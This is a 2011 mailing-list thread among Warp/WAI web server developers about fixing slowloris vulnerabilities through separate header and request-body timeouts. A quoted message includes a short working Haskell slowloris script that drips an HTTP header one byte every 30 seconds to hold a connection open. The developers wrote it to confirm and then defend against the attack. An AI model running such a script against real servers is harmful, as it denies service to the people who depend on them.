[web-devel] questions about ResponseEnumerator

Michael Snoyman michael at snoyman.com
Sat Oct 22 22:20:09 CEST 2011

On Thu, Oct 20, 2011 at 6:28 AM, Kazu Yamamoto <kazu at iij.ad.jp> wrote:
> Hello Michael,
>> I've started a new branch (slowloris); let's try to come up with a
>> complete set of changes to address the issues and then merge it back.
>> Here's the change I was describing:
>> https://github.com/yesodweb/wai/commit/58119eb0b762fde98567ba181ada61b14dfedd87
> I confirmed that my problem is gone. I hope that this will be merged
> and the next Warp will be released.
> I also confirmed Greg's slowloris attach is possible. The following code
> demonstrates it. I think we should introduce rate limiting in the future.
> --Kazu
> module Main where
> import Control.Concurrent
> import Data.ByteString.Char8
> import Network.Socket hiding (send, recv)
> import Network.Socket.ByteString
> import System.IO
> header :: String
> header = "GET / HTTP/1.1\r\nHost: localhost\r\n"
> main :: IO ()
> main = do
>    let hint = defaultHints {
>            addrFlags = [AI_NUMERICHOST, AI_NUMERICSERV]
>          , addrSocketType = Stream
>          }
>    a:_ <- getAddrInfo (Just hint) (Just "") (Just "8080")
>    s <- socket (addrFamily a) (addrSocketType a) (addrProtocol a)
>    connect s (addrAddress a)
>    slowloris s header
> slowloris :: Socket -> String -> IO ()
> slowloris _ [] = return ()
> slowloris s (c:cs) = do
>    send s (pack [c])
>    putChar c
>    hFlush stdout
>    threadDelay (30 * 1000000)
>    slowloris s cs

I think Greg's/Snap's approach of a separate timeout for the status
and headers is right on the money. It should never take more than one
timeout cycle to receive a full set of headers, regardless of how slow
the user's connection, and given a reasonable timeout setting from the
user (anything over 2 seconds should be fine I'd guess, and our
default is 30 seconds).

The bigger question is what we do about the request body. A simple
approach might just be that if we receive a packet from the client
which is less than a certain size (user defined, maybe 2048 bytes is a
good default) it does not tickle the timeout at all. Obviously this
means a malicious program could be devised to send precisely 2048
bytes per timeout cycle... but I don't think there's any way to do
better than this. We *have* to err on the side of allowing attacks,
otherwise we'll end up with disconnecting valid requests.

In other words, here's how I'd see the timeout code working:

1. A timeout is created at the beginning of a connection, and not
tickled at all until all the request headers are read in.
2. Every time X (default: 2048) bytes of the request body are read,
the timeout is tickled.

Actually, to elaborate on (2) a bit: we want to make sure we're not
applying the timeout to the application code at all, so what we'd
really do is:

a. Try to read a piece of the request body.
b. If the piece is greater than X bytes, or the entire request body is
now read, pause the timeout.
c. Pass that chunk to the application.
d. If the request body has not been entirely read, resume the timeout
and return to (a).

The response body timeout code should be relatively safe already I
believe: it only tickles the timeout once all the data is sent.


More information about the web-devel mailing list